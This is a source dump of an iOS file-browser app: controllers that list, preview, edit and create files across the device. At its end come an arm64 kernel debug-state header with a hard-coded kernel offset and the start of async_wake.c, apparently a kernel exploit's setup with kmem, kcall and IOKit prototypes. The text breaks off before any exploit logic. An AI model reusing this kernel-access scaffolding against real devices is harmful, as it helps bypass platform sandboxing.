(instancetype)initWithFile:(NSString *)file; 22 | 23 | @end 24 | -------------------------------------------------------------------------------- /Files/FBCustomPreviewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // FBCustomPreviewController.m 3 | // FileBrowser 4 | // 5 | // Created by Steven Troughton-Smith on 29/09/2014. 6 | // Copyright (c) 2014 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import "FBCustomPreviewController.h" 10 | 11 | NSString *filepath; 12 | 13 | @implementation FBCustomPreviewController 14 | 15 | - (instancetype)initWithFile:(NSString *)file 16 | { 17 | self = [super init]; 18 | if (self) { 19 | 20 | textView = [[UITextView alloc] initWithFrame:[UIScreen mainScreen].bounds]; 21 | textView.editable = YES; 22 | textView.backgroundColor = [UIColor whiteColor]; 23 | 24 | imageView = [[UIImageView alloc] initWithFrame:[UIScreen mainScreen].bounds]; 25 | imageView.contentMode = UIViewContentModeScaleAspectFit; 26 | 27 | imageView.backgroundColor = [UIColor whiteColor]; 28 | 29 | [self loadFile:file]; 30 | 31 | } 32 | return self; 33 | } 34 | 35 | +(BOOL)canHandleExtension:(NSString *)fileExt 36 | { 37 | NSLog(@"fileExt %@", fileExt); 38 | 39 | // if ((int)UI_USER_INTERFACE_IDIOM() != 4) // Don't use QuickLook for images on watchOS 40 | // return ([fileExt isEqualToString:@"txt"] || [fileExt isEqualToString:@"plist"] || [fileExt isEqualToString:@"strings"] || [fileExt isEqualToString:@"xcconfig"] ); 41 | 42 | return ([fileExt isEqualToString:@"txt"] || [fileExt isEqualToString:@"plist"] || [fileExt isEqualToString:@"strings"] || [fileExt isEqualToString:@"png"] || [fileExt isEqualToString:@"xcconfig"] || [fileExt isEqualToString:@"xml"] || [fileExt isEqualToString:@""]); 43 | } 44 | 45 | -(void)loadFile:(NSString *)file 46 | { 47 | filepath = [file copy]; 48 | 49 | if ([file.pathExtension isEqualToString:@"plist"] || [file.pathExtension isEqualToString:@"strings"] || [file.pathExtension isEqualToString:@"xml"] || [file.pathExtension isEqualToString:@""]) 50 | { 51 | //NSDictionary *d = [NSDictionary dictionaryWithContentsOfFile:file]; 52 | //[textView setText:[d description]]; 53 | NSString *content = [NSString stringWithContentsOfFile:file 54 | encoding:NSUTF8StringEncoding 55 | error:NULL]; 56 | [textView setText:content]; 57 | self.view = textView; 58 | } 59 | else if ([file.pathExtension isEqualToString:@"xcconfig"]) 60 | { 61 | NSString *d = [NSString stringWithContentsOfFile:file encoding:NSUTF8StringEncoding error:nil]; 62 | [textView setText:d]; 63 | self.view = textView; 64 | } 65 | else 66 | { 67 | imageView.image = [UIImage imageWithContentsOfFile:file]; 68 | self.view = imageView; 69 | } 70 | 71 | self.title = file.lastPathComponent; 72 | UIBarButtonItem *savebtn = [[UIBarButtonItem alloc] initWithTitle:@"Save" style:UIBarButtonItemStylePlain target:self action:@selector(saveFile)]; 73 | [self.navigationItem setLeftBarButtonItem:savebtn]; 74 | [self.navigationController setToolbarHidden:NO]; 75 | 76 | } 77 | 78 | -(void)saveFile { 79 | //NSLog(@"HELLO"); 80 | NSLog(@"file: %@", filepath); 81 | NSLog(@"new content: %@", textView.text); 82 | 83 | NSError *error; 84 | [textView.text writeToFile:filepath atomically:YES encoding:NSUTF8StringEncoding error:&error]; 85 | if (error) 86 | NSLog(@"error saving %@", error); 87 | 88 | } 89 | 90 | @end 91 | -------------------------------------------------------------------------------- /Files/FBFilesTableViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // FBFilesTableViewController.h 3 | // FileBrowser 4 | // 5 | // Created by Steven Troughton-Smith on 18/06/2013. 6 | // Copyright (c) 2013 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | 12 | @class FBColumnViewController; 13 | 14 | @interface FBFilesTableViewController : UITableViewController 15 | 16 | @property (strong) FBColumnViewController *columnViewController; 17 | 18 | -(id)initWithPath:(NSString *)path; 19 | -(void)highlightPathComponent:(NSString *)pathComponent; 20 | 21 | @property (strong) NSString *path; 22 | @property (strong) NSArray *files; 23 | @end 24 | -------------------------------------------------------------------------------- /Files/FBFilesTableViewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // FBFilesTableViewController.m 3 | // FileBrowser 4 | // 5 | // Created by Steven Troughton-Smith on 18/06/2013. 6 | // Copyright (c) 2013 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import "FBFilesTableViewController.h" 10 | #import "FBCustomPreviewController.h" 11 | #import "FBColumnViewController.h" 12 | #import "FBColumnNavigationController.h" 13 | #import "FBQLPreviewController.h" 14 | 15 | @implementation FBFilesTableViewController 16 | 17 | NSString *currentpath; 18 | 19 | - (id)initWithPath:(NSString *)path 20 | { 21 | currentpath = [path copy]; 22 | self = [super initWithStyle:UITableViewStylePlain]; 23 | if (self) { 24 | 25 | self.path = path; 26 | 27 | //self.title = [path lastPathComponent]; 28 | self.title = path; 29 | 30 | NSError *error = nil; 31 | NSArray *tempFiles = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:path error:&error]; 32 | 33 | if (error) 34 | { 35 | NSLog(@"ERROR: %@", error); 36 | 37 | if ([path isEqualToString:@"/System"]) 38 | tempFiles = @[@"Library"]; 39 | 40 | if ([path isEqualToString:@"/Library"]) 41 | tempFiles = @[@"Preferences"]; 42 | 43 | if ([path isEqualToString:@"/var"]) 44 | tempFiles = @[@"mobile"]; 45 | 46 | if ([path isEqualToString:@"/usr"]) 47 | tempFiles = @[@"lib", @"libexec", @"bin"]; 48 | } 49 | 50 | self.files = [tempFiles sortedArrayWithOptions:0 usingComparator:^NSComparisonResult(NSString* file1, NSString* file2) { 51 | NSString *newPath1 = [self.path stringByAppendingPathComponent:file1]; 52 | NSString *newPath2 = [self.path stringByAppendingPathComponent:file2]; 53 | 54 | BOOL isDirectory1, isDirectory2; 55 | [[NSFileManager defaultManager ] fileExistsAtPath:newPath1 isDirectory:&isDirectory1]; 56 | [[NSFileManager defaultManager ] fileExistsAtPath:newPath2 isDirectory:&isDirectory2]; 57 | 58 | if (isDirectory1 && !isDirectory2) 59 | return NSOrderedDescending; 60 | 61 | return NSOrderedAscending; 62 | }]; 63 | 64 | 65 | 66 | [[NSNotificationCenter defaultCenter] addObserverForName:@"FBFileTableViewControllerNavigateUp" object:nil queue:[NSOperationQueue mainQueue] usingBlock:^(NSNotification * _Nonnull note) { 67 | [self navigateUp:self]; 68 | }]; 69 | 70 | 71 | [[NSNotificationCenter defaultCenter] addObserverForName:@"FBFileTableViewControllerNavigateDown" object:nil queue:[NSOperationQueue mainQueue] usingBlock:^(NSNotification * _Nonnull note) { 72 | [self navigateDown:self]; 73 | }]; 74 | 75 | 76 | UIBarButtonItem *itemCountBarItem = [[UIBarButtonItem alloc] initWithTitle:[NSString stringWithFormat:@"%lu item%@", (unsigned long)self.files.count, ((self.files.count == 0) || (self.files.count > 1)) ? @"s" : @""] style:UIBarButtonItemStylePlain target:nil action:nil]; 77 | UIBarButtonItem *flexibleSpace = [[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemFlexibleSpace target:nil action:nil]; 78 | 79 | itemCountBarItem.tintColor = [UIColor blackColor]; 80 | [itemCountBarItem setTitleTextAttributes:@{NSFontAttributeName:[UIFont systemFontOfSize:14]} forState:UIControlStateNormal]; 81 | 82 | [self setToolbarItems:@[flexibleSpace,itemCountBarItem,flexibleSpace]]; 83 | 84 | UIBarButtonItem *new = [[UIBarButtonItem alloc] initWithTitle:@"New" style:UIBarButtonItemStylePlain target:self action:@selector(newFile)]; 85 | [self.navigationItem setLeftBarButtonItem:new]; 86 | 87 | [[NSNotificationCenter defaultCenter] addObserver:self 88 | selector:@selector(defaultsChanged:) 89 | name:NSUserDefaultsDidChangeNotification 90 | object:nil]; 91 | 92 | [self sortFiles]; 93 | } 94 | return self; 95 | } 96 | - (void)newFile { 97 | /* UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"New file" message:@"Enter file name:" delegate:self cancelButtonTitle:@"Cancel" otherButtonTitles:@"Create", nil]; 98 | alert.alertViewStyle = UIAlertViewStylePlainTextInput; 99 | [alert show];*/ 100 | //UIALERTCONTROLLERS SUCK, TAKES SO MUCH ROOM 101 | 102 | UIAlertController *alert= [UIAlertController 103 | alertControllerWithTitle:@"New file" 104 | message:@"Enter file name:" 105 | preferredStyle:UIAlertControllerStyleAlert]; 106 | 107 | UIAlertAction* ok = [UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault 108 | handler:^(UIAlertAction * action){ 109 | //Do Some action here 110 | UITextField *textField = alert.textFields[0]; 111 | NSString *name = textField.text; 112 | NSLog(@"creating new file: %@/%@", self.title, name); 113 | NSString *go = [NSString stringWithFormat:@"%@/%@", self.title, name]; 114 | [@"" writeToFile:go atomically:YES encoding:NSUTF8StringEncoding error:nil]; 115 | [self sortFiles]; 116 | [self.tableView reloadData]; 117 | }]; 118 | UIAlertAction* cancel = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleDefault 119 | handler:^(UIAlertAction * action) { 120 | 121 | NSLog(@"cancel btn"); 122 | 123 | [alert dismissViewControllerAnimated:YES completion:nil]; 124 | 125 | }]; 126 | 127 | [alert addAction:ok]; 128 | [alert addAction:cancel]; 129 | 130 | [alert addTextFieldWithConfigurationHandler:^(UITextField *textField) { 131 | textField.placeholder = @"placeHolderText"; 132 | textField.keyboardType = UIKeyboardTypeDefault; 133 | }]; 134 | 135 | [self presentViewController:alert animated:YES completion:nil]; 136 | } 137 | /*- (void)alertView:(UIAlertView *)alertView clickedButtonAtIndex:(NSInteger)buttonIndex { 138 | if (buttonIndex == 1) { 139 | NSString *name = [[alertView textFieldAtIndex:0] text]; 140 | NSLog(@"creating new file: %@/%@", self.title, name); 141 | NSString *go = [NSString stringWithFormat:@"%@/%@", self.title, name]; 142 | [@"" writeToFile:go atomically:YES encoding:NSUTF8StringEncoding error:nil]; 143 | [self sortFiles]; 144 | [self.tableView reloadData]; 145 | 146 | } 147 | }*/ 148 | - (void)defaultsChanged:(NSNotification *)notification { 149 | [self sortFiles]; 150 | } 151 | 152 | -(void)sortFiles 153 | { 154 | NSUserDefaults *defaults = [[NSUserDefaults alloc] initWithSuiteName:@"group.com.highcaffeinecontent.Files"]; 155 | NSInteger sortingFilter = [defaults integerForKey:@"FBSortingFilter"]; 156 | 157 | self.files = [self.files sortedArrayWithOptions:0 usingComparator:^NSComparisonResult(NSString* file1, NSString* file2) { 158 | NSString *newPath1 = [self.path stringByAppendingPathComponent:file1]; 159 | NSString *newPath2 = [self.path stringByAppendingPathComponent:file2]; 160 | 161 | BOOL isDirectory1, isDirectory2; 162 | [[NSFileManager defaultManager] fileExistsAtPath:newPath1 isDirectory:&isDirectory1]; 163 | [[NSFileManager defaultManager] fileExistsAtPath:newPath2 isDirectory:&isDirectory2]; 164 | 165 | if (sortingFilter == 0) 166 | { 167 | if (isDirectory1 && !isDirectory2) 168 | return NSOrderedDescending; 169 | 170 | return NSOrderedAscending; 171 | } 172 | else 173 | { 174 | if ([[file1 pathExtension] isEqualToString:[file2 pathExtension]]) 175 | return [file1 localizedCaseInsensitiveCompare:file2]; 176 | 177 | return [[file1 pathExtension] localizedCaseInsensitiveCompare:[file2 pathExtension]]; 178 | } 179 | }]; 180 | 181 | [self.tableView reloadData]; 182 | } 183 | 184 | - (void)viewDidLoad 185 | { 186 | [super viewDidLoad]; 187 | [self.navigationController setToolbarHidden:NO]; 188 | } 189 | 190 | - (void)didReceiveMemoryWarning 191 | { 192 | [super didReceiveMemoryWarning]; 193 | // Dispose of any resources that can be recreated. 194 | } 195 | 196 | #pragma mark - Keyboard Shortcuts 197 | 198 | 199 | -(BOOL)canBecomeFirstResponder 200 | { 201 | return YES; 202 | } 203 | 204 | -(NSArray *)keyCommands 205 | { 206 | return @[ 207 | [UIKeyCommand keyCommandWithInput:UIKeyInputUpArrow modifierFlags:0 action:@selector(navigateUp:)], 208 | [UIKeyCommand keyCommandWithInput:UIKeyInputDownArrow modifierFlags:0 action:@selector(navigateDown:)], 209 | [UIKeyCommand keyCommandWithInput:@"\r" modifierFlags:0 action:@selector(navigateInto:)], 210 | [UIKeyCommand keyCommandWithInput:UIKeyInputEscape modifierFlags:0 action:@selector(navigateBack:)] 211 | 212 | ]; 213 | } 214 | 215 | 216 | 217 | -(BOOL)isDirectoryAtIndexPath:(NSIndexPath *)path 218 | { 219 | NSString *filePath = [self.path stringByAppendingPathComponent:self.files[path.row]]; 220 | 221 | BOOL isDirectory; 222 | [[NSFileManager defaultManager] fileExistsAtPath:filePath isDirectory:&isDirectory]; 223 | 224 | return isDirectory; 225 | } 226 | 227 | -(void)navigateBack:(id)sender 228 | { 229 | [self.navigationController popViewControllerAnimated:YES]; 230 | } 231 | 232 | -(void)navigateInto:(id)sender 233 | { 234 | if (self.files.count == 0) 235 | return; 236 | 237 | NSIndexPath *newPath = [self.tableView indexPathForSelectedRow]; 238 | if ([self isDirectoryAtIndexPath:newPath]) 239 | [self tableView:self.tableView didSelectRowAtIndexPath:newPath]; 240 | 241 | } 242 | 243 | -(void)navigateUp:(id)sender 244 | { 245 | if (self.files.count == 0) 246 | return; 247 | 248 | NSIndexPath *oldPath = [self.tableView indexPathForSelectedRow]; 249 | 250 | if (oldPath.row > 0) 251 | { 252 | NSIndexPath *newPath = [NSIndexPath indexPathForRow:oldPath.row-1 inSection:0]; 253 | [self.tableView selectRowAtIndexPath:newPath animated:YES scrollPosition:UITableViewScrollPositionMiddle]; 254 | 255 | if (![self isDirectoryAtIndexPath:newPath]) 256 | [self tableView:self.tableView didSelectRowAtIndexPath:newPath]; 257 | } 258 | } 259 | 260 | -(void)navigateDown:(id)sender 261 | { 262 | if (self.files.count == 0) 263 | return; 264 | 265 | NSIndexPath *oldPath = [self.tableView indexPathForSelectedRow]; 266 | 267 | if (oldPath.row < self.files.count-1) 268 | { 269 | NSIndexPath *newPath = [NSIndexPath indexPathForRow:oldPath.row+1 inSection:0]; 270 | [self.tableView selectRowAtIndexPath:newPath animated:YES scrollPosition:UITableViewScrollPositionMiddle]; 271 | 272 | if (![self isDirectoryAtIndexPath:newPath]) 273 | [self tableView:self.tableView didSelectRowAtIndexPath:newPath]; 274 | 275 | } 276 | } 277 | 278 | #pragma mark - 279 | 280 | -(void)highlightPathComponent:(NSString *)pathComponent 281 | { 282 | NSUInteger idx = [self.files indexOfObject:pathComponent]; 283 | 284 | [self.tableView selectRowAtIndexPath:[NSIndexPath indexPathForRow:idx inSection:0] animated:YES scrollPosition:UITableViewScrollPositionTop]; 285 | } 286 | 287 | #pragma mark - Table view data source 288 | 289 | -(CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath 290 | { 291 | return 72.0; 292 | } 293 | 294 | - (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView 295 | { 296 | // Return the number of sections. 297 | return 1; 298 | } 299 | 300 | - (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section 301 | { 302 | // Return the number of rows in the section. 303 | return self.files.count; 304 | } 305 | 306 | - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath 307 | { 308 | static NSString *CellIdentifier = @"FileCell"; 309 | UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier]; 310 | 311 | if (!cell) 312 | cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleSubtitle reuseIdentifier:CellIdentifier]; 313 | 314 | 315 | NSString *newPath = [self.path stringByAppendingPathComponent:self.files[indexPath.row]]; 316 | 317 | BOOL isDirectory; 318 | [[NSFileManager defaultManager ] fileExistsAtPath:newPath isDirectory:&isDirectory]; 319 | 320 | 321 | 322 | 323 | cell.textLabel.text = self.files[indexPath.row]; 324 | cell.textLabel.textAlignment = NSTextAlignmentLeft; 325 | if (isDirectory) 326 | { 327 | NSUInteger fileCount = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:newPath error:nil].count; 328 | 329 | cell.detailTextLabel.text = [NSString stringWithFormat:@"%lu item%@", (unsigned long)fileCount, ((fileCount == 0) || (fileCount > 1)) ? @"s" : @""]; 330 | } 331 | else 332 | { 333 | NSDictionary *attribs = [[NSFileManager defaultManager] attributesOfItemAtPath:newPath error:nil]; 334 | 335 | cell.detailTextLabel.text = [NSByteCountFormatter stringFromByteCount:[attribs fileSize] countStyle:NSByteCountFormatterCountStyleFile]; 336 | } 337 | 338 | cell.detailTextLabel.textColor = [UIColor lightGrayColor]; 339 | 340 | cell.selectedBackgroundView = [UIView new]; 341 | cell.selectedBackgroundView.backgroundColor = [UIColor colorWithRed:0.882 green:0.961 blue:0.996 alpha:1.000]; 342 | 343 | cell.imageView.tintColor = [UIColor colorWithRed:0.565 green:0.773 blue:0.878 alpha:1.000]; 344 | 345 | if (isDirectory) 346 | cell.imageView.image = [UIImage imageNamed:@"Folder"]; 347 | else if ([[newPath pathExtension] isEqualToString:@"png"]) 348 | cell.imageView.image = [UIImage imageNamed:@"Picture"]; 349 | else 350 | cell.imageView.image = [UIImage imageNamed:@"Document"]; 351 | 352 | #if 0 353 | if (fileExists && !isDirectory) 354 | cell.accessoryType = UITableViewCellAccessoryDetailButton; 355 | else 356 | cell.accessoryType = UITableViewCellAccessoryNone; 357 | #endif 358 | 359 | return cell; 360 | } 361 | 362 | - (void)tableView:(UITableView *)tableView accessoryButtonTappedForRowWithIndexPath:(NSIndexPath *)indexPath 363 | { 364 | NSString *newPath = [self.path stringByAppendingPathComponent:self.files[indexPath.row]]; 365 | 366 | NSString *tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:newPath.lastPathComponent]; 367 | 368 | NSError *error = nil; 369 | 370 | [[NSFileManager defaultManager] copyItemAtPath:newPath toPath:tmpPath error:&error]; 371 | 372 | if (error) 373 | NSLog(@"ERROR: %@", error); 374 | 375 | UIActivityViewController *shareActivity = [[UIActivityViewController alloc] initWithActivityItems:@[[NSURL fileURLWithPath:tmpPath]] applicationActivities:nil]; 376 | 377 | shareActivity.completionWithItemsHandler = ^(NSString * __nullable activityType, BOOL completed, NSArray * __nullable returnedItems, NSError * __nullable activityError) 378 | { 379 | [[NSFileManager defaultManager] removeItemAtPath:tmpPath error:nil]; 380 | }; 381 | 382 | 383 | UIViewController *vc = [[UIViewController alloc] init]; 384 | UINavigationController *nc = [[UINavigationController alloc] initWithRootViewController:vc]; 385 | nc.modalPresentationStyle = UIModalPresentationOverCurrentContext; 386 | 387 | [self.navigationController presentViewController:nc animated:YES completion:^{ 388 | 389 | }]; 390 | } 391 | 392 | - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath 393 | { 394 | NSString *newPath = [self.path stringByAppendingPathComponent:self.files[indexPath.row]]; 395 | 396 | 397 | BOOL isDirectory; 398 | BOOL fileExists = [[NSFileManager defaultManager ] fileExistsAtPath:newPath isDirectory:&isDirectory]; 399 | 400 | 401 | if (fileExists) 402 | { 403 | if (isDirectory) 404 | { 405 | [self.columnViewController popToViewController:self.parentViewController]; 406 | 407 | FBFilesTableViewController *vc = [[FBFilesTableViewController alloc] initWithPath:newPath]; 408 | 409 | FBColumnNavigationController *detailNavController = [[FBColumnNavigationController alloc] initWithRootViewController:vc]; 410 | [self.columnViewController pushViewController:detailNavController]; 411 | 412 | } 413 | else 414 | { 415 | if ([[[NSBundle mainBundle] bundleIdentifier] isEqualToString:@"com.highcaffeinecontent.Files.FilesDocumentProvider"]) 416 | { 417 | [[NSNotificationCenter defaultCenter] postNotificationName:@"FBPickedFileURL" object:[NSURL fileURLWithPath:newPath]]; 418 | } 419 | else 420 | { 421 | if ([FBCustomPreviewController canHandleExtension:[newPath pathExtension]]) 422 | { 423 | [self.columnViewController popToViewController:self.parentViewController]; 424 | 425 | FBCustomPreviewController *preview = [[FBCustomPreviewController alloc] initWithFile:newPath]; 426 | 427 | FBColumnNavigationController *detailNavController = [[FBColumnNavigationController alloc] initWithRootViewController:preview]; 428 | 429 | [self.columnViewController pushDetailViewController:detailNavController]; 430 | } 431 | else 432 | { 433 | [self.columnViewController popToViewController:self.parentViewController]; 434 | 435 | FBQLPreviewController *preview = [[FBQLPreviewController alloc] init]; 436 | preview.dataSource = self; 437 | 438 | FBColumnNavigationController *detailNavController = [[FBColumnNavigationController alloc] initWithRootViewController:preview]; 439 | [self.columnViewController pushDetailViewController:detailNavController]; 440 | 441 | } 442 | } 443 | } 444 | 445 | } 446 | 447 | if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone) 448 | { 449 | [self.tableView deselectRowAtIndexPath:indexPath animated:YES]; 450 | } 451 | } 452 | 453 | #pragma mark - QuickLook 454 | 455 | - (BOOL)previewController:(QLPreviewController *)controller shouldOpenURL:(NSURL *)url forPreviewItem:(id )item { 456 | 457 | return YES; 458 | } 459 | 460 | - (NSInteger) numberOfPreviewItemsInPreviewController: (QLPreviewController *) controller { 461 | return 1; 462 | } 463 | 464 | - (id ) previewController: (QLPreviewController *) controller previewItemAtIndex: (NSInteger) index { 465 | 466 | NSString *newPath = [self.path stringByAppendingPathComponent:self.files[self.tableView.indexPathForSelectedRow.row]]; 467 | 468 | return [NSURL fileURLWithPath:newPath]; 469 | } 470 | 471 | @end 472 | -------------------------------------------------------------------------------- /Files/FBQLPreviewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // FBQLPreviewController.h 3 | // Files 4 | // 5 | // Created by Steven Troughton-Smith on 12/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @class FBColumnViewController; 12 | 13 | @interface FBQLPreviewController : QLPreviewController 14 | @property (strong) FBColumnViewController *columnViewController; 15 | 16 | @end 17 | -------------------------------------------------------------------------------- /Files/FBQLPreviewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // FBQLPreviewController.m 3 | // Files 4 | // 5 | // Created by Steven Troughton-Smith on 12/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import "FBQLPreviewController.h" 10 | 11 | @implementation FBQLPreviewController 12 | 13 | -(BOOL)canBecomeFirstResponder 14 | { 15 | return NO; // Don't let QLPreviewController interfere with keyboard shortcuts 16 | } 17 | 18 | -(void)viewWillAppear:(BOOL)animated 19 | { 20 | [super viewWillAppear:animated]; 21 | [self.navigationController setToolbarHidden:NO]; 22 | } 23 | @end 24 | -------------------------------------------------------------------------------- /Files/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | en 7 | CFBundleExecutable 8 | $(EXECUTABLE_NAME) 9 | CFBundleIdentifier 10 | $(PRODUCT_BUNDLE_IDENTIFIER) 11 | CFBundleInfoDictionaryVersion 12 | 6.0 13 | CFBundleName 14 | $(PRODUCT_NAME) 15 | CFBundlePackageType 16 | APPL 17 | CFBundleShortVersionString 18 | 1.0 19 | CFBundleSignature 20 | ???? 21 | CFBundleVersion 22 | 1 23 | LSRequiresIPhoneOS 24 | 25 | UILaunchStoryboardName 26 | LaunchScreen 27 | UIRequiredDeviceCapabilities 28 | 29 | armv7 30 | 31 | UISupportedInterfaceOrientations 32 | 33 | UIInterfaceOrientationPortrait 34 | UIInterfaceOrientationLandscapeLeft 35 | UIInterfaceOrientationLandscapeRight 36 | 37 | UISupportedInterfaceOrientations~ipad 38 | 39 | UIInterfaceOrientationPortrait 40 | UIInterfaceOrientationPortraitUpsideDown 41 | UIInterfaceOrientationLandscapeLeft 42 | UIInterfaceOrientationLandscapeRight 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /Files/arm64_state.h: -------------------------------------------------------------------------------- 1 | #ifndef arm64_state_h 2 | #define arm64_state_h 3 | 4 | /* 5 | * GPR context 6 | */ 7 | 8 | struct arm_saved_state32 { 9 | uint32_t r[13]; /* General purpose register r0-r12 */ 10 | uint32_t sp; /* Stack pointer r13 */ 11 | uint32_t lr; /* Link register r14 */ 12 | uint32_t pc; /* Program counter r15 */ 13 | uint32_t cpsr; /* Current program status register */ 14 | uint32_t far; /* Virtual fault address */ 15 | uint32_t esr; /* Exception syndrome register */ 16 | uint32_t exception; /* Exception number */ 17 | }; 18 | typedef struct arm_saved_state32 arm_saved_state32_t; 19 | 20 | struct arm_saved_state32_tagged { 21 | uint32_t tag; 22 | struct arm_saved_state32 state; 23 | }; 24 | typedef struct arm_saved_state32_tagged arm_saved_state32_tagged_t; 25 | 26 | #define ARM_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \ 27 | (sizeof (arm_saved_state32_t)/sizeof(unsigned int))) 28 | 29 | struct arm_saved_state64 { 30 | uint64_t x[29]; /* General purpose registers x0-x28 */ 31 | uint64_t fp; /* Frame pointer x29 */ 32 | uint64_t lr; /* Link register x30 */ 33 | uint64_t sp; /* Stack pointer x31 */ 34 | uint64_t pc; /* Program counter */ 35 | uint32_t cpsr; /* Current program status register */ 36 | uint32_t reserved; /* Reserved padding */ 37 | uint64_t far; /* Virtual fault address */ 38 | uint32_t esr; /* Exception syndrome register */ 39 | uint32_t exception; /* Exception number */ 40 | }; 41 | typedef struct arm_saved_state64 arm_saved_state64_t; 42 | 43 | #define ARM_SAVED_STATE64_COUNT ((mach_msg_type_number_t) \ 44 | (sizeof (arm_saved_state64_t)/sizeof(unsigned int))) 45 | 46 | struct arm_saved_state { 47 | arm_state_hdr_t ash; 48 | union { 49 | struct arm_saved_state32 ss_32; 50 | struct arm_saved_state64 ss_64; 51 | } uss; 52 | } __attribute__((aligned(16))); 53 | #define ss_32 uss.ss_32 54 | #define ss_64 uss.ss_64 55 | 56 | typedef struct arm_saved_state arm_saved_state_t; 57 | 58 | /* 59 | * NEON context 60 | */ 61 | typedef __uint128_t uint128_t; 62 | typedef uint64_t uint64x2_t __attribute__((ext_vector_type(2))); 63 | typedef uint32_t uint32x4_t __attribute__((ext_vector_type(4))); 64 | 65 | struct arm_neon_saved_state32 { 66 | union { 67 | uint128_t q[16]; 68 | uint64_t d[32]; 69 | uint32_t s[32]; 70 | } v; 71 | uint32_t fpsr; 72 | uint32_t fpcr; 73 | }; 74 | typedef struct arm_neon_saved_state32 arm_neon_saved_state32_t; 75 | 76 | #define ARM_NEON_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \ 77 | (sizeof (arm_neon_saved_state32_t)/sizeof(unsigned int))) 78 | 79 | struct arm_neon_saved_state64 { 80 | union { 81 | uint128_t q[32]; 82 | uint64x2_t d[32]; 83 | uint32x4_t s[32]; 84 | } v; 85 | uint32_t fpsr; 86 | uint32_t fpcr; 87 | }; 88 | typedef struct arm_neon_saved_state64 arm_neon_saved_state64_t; 89 | 90 | #define ARM_NEON_SAVED_STATE64_COUNT ((mach_msg_type_number_t) \ 91 | (sizeof (arm_neon_saved_state64_t)/sizeof(unsigned int))) 92 | 93 | struct arm_neon_saved_state { 94 | arm_state_hdr_t nsh; 95 | union { 96 | struct arm_neon_saved_state32 ns_32; 97 | struct arm_neon_saved_state64 ns_64; 98 | } uns; 99 | }; 100 | typedef struct arm_neon_saved_state arm_neon_saved_state_t; 101 | #define ns_32 uns.ns_32 102 | #define ns_64 uns.ns_64 103 | 104 | struct arm_context { 105 | struct arm_saved_state ss; 106 | struct arm_neon_saved_state ns; 107 | }; 108 | typedef struct arm_context arm_context_t; 109 | 110 | #define ARM_SAVED_STATE64 0x15 111 | 112 | #define ARM_DEBUG_STATE64 15 113 | const uint64_t ACT_DEBUGDATA_OFFSET = 0x438; 114 | 115 | struct arm64_debug_state 116 | { 117 | __uint64_t bvr[16]; 118 | __uint64_t bcr[16]; 119 | __uint64_t wvr[16]; 120 | __uint64_t wcr[16]; 121 | __uint64_t mdscr_el1; /* Bit 0 is SS (Hardware Single Step) */ 122 | }; 123 | 124 | struct arm_debug_aggregate_state { 125 | arm_state_hdr_t dsh; 126 | struct arm64_debug_state ds64; 127 | } __attribute__((aligned(16))); 128 | 129 | 130 | 131 | #endif 132 | -------------------------------------------------------------------------------- /Files/async_wake.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #import 6 | #import 7 | #import 8 | #import 9 | #import 10 | #import 11 | #import 12 | 13 | #include 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "async_wake.h" 20 | #include "kmem.h" 21 | #include "find_port.h" 22 | #include "kutils.h" 23 | #include "symbols.h" 24 | #include "early_kalloc.h" 25 | #include "kcall.h" 26 | #include "kdbg.h" 27 | 28 | // various prototypes and structure definitions for missing iOS headers: 29 | 30 | kern_return_t mach_vm_read( 31 | vm_map_t target_task, 32 | mach_vm_address_t address, 33 | mach_vm_size_t size, 34 | vm_offset_t *data, 35 | mach_msg_type_number_t *dataCnt); 36 | 37 | /****** IOKit/IOKitLib.h *****/ 38 | typedef mach_port_t io_service_t; 39 | typedef mach_port_t io_connect_t; 40 | 41 | extern const mach_port_t kIOMasterPortDefault; 42 | #define IO_OBJECT_NULL (0) 43 | 44 | kern_return_t 45 | IOConnectCallAsyncMethod( 46 | mach_port_t connection, 47 | uint32_t selector, 48 | mach_port_t wakePort, 49 | uint64_t* reference, 50 | uint32_t referenceCnt, 51 | const uint64_t* input, 52 | uint32_t inputCnt, 53 | const void* inputStruct, 54 | size_t inputStructCnt, 55 | uint64_t* output, 56 | uint32_t* outputCnt, 57 | void* outputStruct, 58 | size_t* outputStructCntP); 59 | 60 | kern_return_t 61 | IOConnectCallMethod( 62 | mach_port_t connection, 63 | uint32_t selector, 64 | const uint64_t* input, 65 | uint32_t inputCnt, 66 | const void* inputStruct, 67 | size_t inputStructCnt, 68 | uint64_t* output, 69 | uint32_t* outputCnt, 70 | void* outputStruct, 71 | size_t* outputStructCntP); 72 | 73 | io_service_t 74 | 